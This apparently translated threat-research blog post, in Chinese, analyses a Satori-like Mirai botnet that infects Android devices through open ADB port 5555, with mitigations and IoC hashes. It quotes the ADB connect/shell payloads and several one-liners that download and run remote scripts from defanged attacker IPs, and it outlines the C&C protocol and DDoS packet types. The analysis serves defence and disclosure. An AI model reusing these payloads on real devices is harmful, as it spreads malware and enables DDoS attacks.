Android裝置的 ADB 端口被攻擊,用來散播 Satori 殭屍網路變種

對許多物聯網(IoT ,Internet of Thing使用者來說,裝置端口遭受攻擊一直是個問題。特別是TCP端口5555,因為廠商的預設開啟而在過去帶來許多問題,讓使用戶暴露在攻擊之下。

趨勢科技最近在7月9日至10日及7月15日偵測到兩個可疑的活動高峰,發現了使用端口5555的新漏洞攻擊。這一次攻擊利用了Android Debug Bridge(ADB)命令列工具,這個Android SDK工具可以用來處理裝置間的通訊,也讓開發人員可以在Android裝置上執行和除錯應用程式。我們的資料顯示第一波主要出現在中國和美國,而第二波主要是韓國。

 Figure 1. Activity in the TCP Port 5555 from July 1 to July 15. Note the spike on July 9 and 10 and a second spike on July 15

圖1、7月1日至7月15日間TCP端口5555的活動資料。注意到7月9日和10日出現的高峰及7月15日的第二次高峰

技術分析

根據趨勢科技對網路封包的分析,可以確定惡意軟體透過掃描ADB端口來進行散播。它經由ADB連線植入第一階段的shell腳本來在目標系統上啟動。這個腳本會下載負責啟動第三階段檔案的兩個第二階段shell腳本。

它透過TCP端口5555上傳有效載荷(Payload)來攻擊ADB:

 

  • “CNXN”,0,0,0,1,0,0×10,0,0,7,0,0,0,”2″,2,0,0,0xBC,0xB1,0xA7,0xB1,”host::”

 

一旦進入裝置,有效載荷(Payload)會將自己從磁碟刪除,並重新命名為加上CPU架構字串的隨機名稱。

 

有效載荷(Payload)會下載shell腳本,這腳本會在執行後刪除:

 

  • “OPENX”,2,0,0,0,0,0,0,0xF2,0x17,”J”,0,0,0xB0,0xAF,0xBA,0xB1,”shell:>/sdcard/Download/f && cd /sdcard/Download/; >/dev/f && cd /dev/; >/data/local/tmp/f && cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2″

 

7月9日活動的shell腳本如下:

 

  • cd /dev/; busybox wget hxxp://95[.]215[.]62[.]169/adbs -O -> adbs; sh adbs; rm adbs

 Figure 3. ASCII and hex view of the malicious payload from the July 9 activity

圖2、7月9日所出現惡意有效載荷(Payload)的ASCII和十六進位視圖

 

而7月15日活動的有效載荷(Payload)則是下載了兩個腳本:之前的“adbs”和名為“adbs2”的新腳本。和之前一樣,會在執行後刪除:

 

  • cd /data/local/tmp/; busybox wget hxxp://185[.]62[.]189[.]149/adbs -O -> adbs; sh adbs; curl hxxp://185[.]62[.]189[.]149/adbs2 > adbs2; sh adbs2; rm adbs adbs2

 Figure 4. ASCII and hex view of the malicious payload from the July 15 activity

圖3、7月15日所出現惡意有效載荷(Payload)的ASCII和十六進位視圖

 

惡意腳本替下個階段下載了多種架構的檔案並啟動。它們都做相同的事情,但用不同的下載方法。第一個使用curl,第二個使用BusyBox的wget。wget版本範例如下:

 Figure 5. Code of the binary that was downloaded via wget

圖4、用wget下載執行檔

 

下載的檔案會用參數“yItDitb2HvayJvNc”檢查自己是否為“./.f”。如果是,就會使用主機名稱“n[.]ukrainianhorseriding[.]com”,透過Google的DNS解析C&C伺服器的地址。否則就會用內建的IP地址95[.]215[.]62[.]169,連接端口為7267。

 

接著它會關閉全部的三個stdio串流並取得自己的IP地址,再啟動兩個子程序。

 

第一個會掃描/proc/[pid]/maps(系統執行中程序的記憶體映射區域)來尋找smi、xig或trinity)。如果找到就會終止對應的程序。Trinity可能與Android system fuzzer有關,而smi是CoinHive腳本相關檔案,這腳本會在劫持的Amazon裝置上挖門羅幣。

 

第二個子程序負責用蠕蟲方式來散播惡意軟體。

 

主程式會將前面所提到的三個pid以二進位格式寫入以下位置其中一個:

 Figure 6. Locations where the pids are written

圖5、寫入pid的位置

 

接著它會開啟與C&C伺服器的連線:

 Figure 7. Communicating with the C&C server

圖6、與C&C伺服器的連線

 

然後發送特製訊息給C&C伺服器。長度為71個字元,看起來如下:

 

“WWau14TJ8IapVXrrlFq0q5sxB”,“\x00 80 00 5A 00 57 00 C8 00 F0 00 1E 00 00”並加上架構字串,像是“arm7”

 

C2 then sends to the victim

 

2 bytes number (x)

 

Interpretation is following:

 

if x == 505: receive next 2 bytes from C2

 

if x == 0xDD99: kill children and exit

 

if x > 1024: close connection and sleep(10)

 

else:

 

receive x bytes from C2 (they are not used, maybe this version is not finishet yet)

 

receive new x

 

recv payload containing attacking target list of len x bytes

 

每六個通訊週期,受害裝置會回應一個6字元序列(9,3,2,5,8,1)。

 

此特製封包包含了帶有要發送的目標數與IP封包類型的標頭,以及目標IPv4地址列表,這些目標IPv4地址經過受感染主機用隨機產生偏移量修改過。接下來是端口號碼及等待繼續進行前的休眠時間和隨機的有效載荷(payload)長度。然後惡意軟體將帶有隨機產生有效載荷(payload)的特製IP封包發送到取得的攻擊列表 – 可能是DDoS攻擊的一部分。

 

特製的IP封包由下列組成:

 

  • UDP:帶有隨機長度的隨機有效載荷
  • TCP SYN:帶有隨機長度的隨機有效載荷
  • TCP ACK:帶有隨機長度的隨機有效載荷
  • UDP:帶有隨機有效載荷用通用路由封裝(GRE)通道傳輸
  • TCP SYN:之後它會發送TCP ACK並確保TCP windows size,來源端口,seq_number和IP識別碼和前一個session一致。每個封包間有三秒鐘的等待時間。

 

關於下載的檔案一個有意思的地方是研究人員發現C&C伺服器95[.]215[.]62[.]169跟Mirai殭屍網路的Satori病毒有關。深入研究這兩個IP地址的GeoIP資訊,發現它們位於歐洲;95[.]215[.]62[.]169在西班牙而185[.]62[.]189[.]149在荷蘭。

《延伸閱讀 》:物聯網殭屍網路Satori原始碼,被公開在Pastebin上

 

有理由相信此樣本跟Satori背後是同一個作者。重要和可識別字串是用簡單的XOR方式加密(參見圖8的加密字串範例)。有意思的是,跟使用字元交換加上Base62編碼的舊樣本比起來,此版本的惡意軟體使用較不複雜的字串加密方式。

 Figure 8. Strings encrypted with XOR method

圖7、用XOR方式加密的字串

 

解密的值可以在下圖中看到。請注意,並非所有都已被使用。

 Figure 9. String values after decryption

圖8、解密後的字串值

 

如前所述,蠕蟲功能及會尋找其他潛在目標可能代表我們所偵測到的兩個活動高峰是另一波造成更多傷害的攻擊前奏。也許現在駭客只是在測試工具和攻擊策略的有效性,好準備更嚴重的攻擊。

 

C&C網域名稱資訊顯示出跟另一個rippr[.]cc上的C&C伺服器相同的註冊郵件地址,該網域已經關閉:

 Figure 10. Information on the C&C domain

圖9、有關C&C網域的資訊

 

根據Shodan的資料,有超過48,000個物聯網系統可能遭受ADB攻擊。並非所有有此漏洞的系統都會暴露在網路上,因為它們通常都會隱藏在具備NAT功能的路由器後面。但因為設定錯誤,可以手動或透過UPnP NAT traversal來加以存取。無論使用者的密碼強度如何,所有的多媒體裝置、智慧型電視、行動電話及其他沒有額外保護的裝置都是此惡意軟體可攻擊的目標。

 

緩解措施和趨勢科技解決方案

 

有能力自行更改行動裝置設定的使用者可以進入設定,選擇“開發人員選項”,確保“ADB (USB) debugging”和“來自未知來源的應用程式”關閉。後一個設定預設是關閉的,不過還是要再次檢查以確認。如果使用者懷疑自己的裝置已經受到感染,執行回復出廠設置可以清除有效載荷(payload)。

 

作為通用守則,行動裝置使用者應該要定期更新裝置。這些更新不僅可以改善其裝置的功能,還可以解決攻擊者可以利用的漏洞。

 

也可選擇能夠抵禦這些威脅的安全軟體。例如趨勢科技的Smart Home Network可以用以下入侵防禦規則來保護使用者免於此威脅:

  • 1134867 EXPLOIT Remote Command Execution via Android Debug Bridge

 

入侵指標(IoC):

 

偵測為UNIX_MIRAI.DLDS的檔案雜湊值

  • 79d55852af173612562718544ecdc569b0b8e0094647d609040f8fcc67112cba
  • 144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43

 

偵測成ELF_MIRAI.LBOUG的檔案雜湊值

  • 2815ab8fe6d48982540524c6ac55e1df3a77a2e90c32114fde05bdc3bb353bea
  • 144e9093b50d7a0bf92ccc29dbbdab4955a8ef028ec2a4a64f2c16778fc0ba43
  • 01eca0d68cc8c2d7ad6aa8021852b57a04b8a4ca7d13e164095b29fd06a1ed9f
  • 4c3983040b2c72e4df9742c1314dcf8cd703805ab6aaa9185324b70fd530746e

 

 

@原文出處:Open ADB Ports Being Exploited to Spread Possible Satori Variant in Android Devices

Posted in:Internet of Things, Mobile 作者: Hubert Lin,Lorin Wu和Vit Sembera)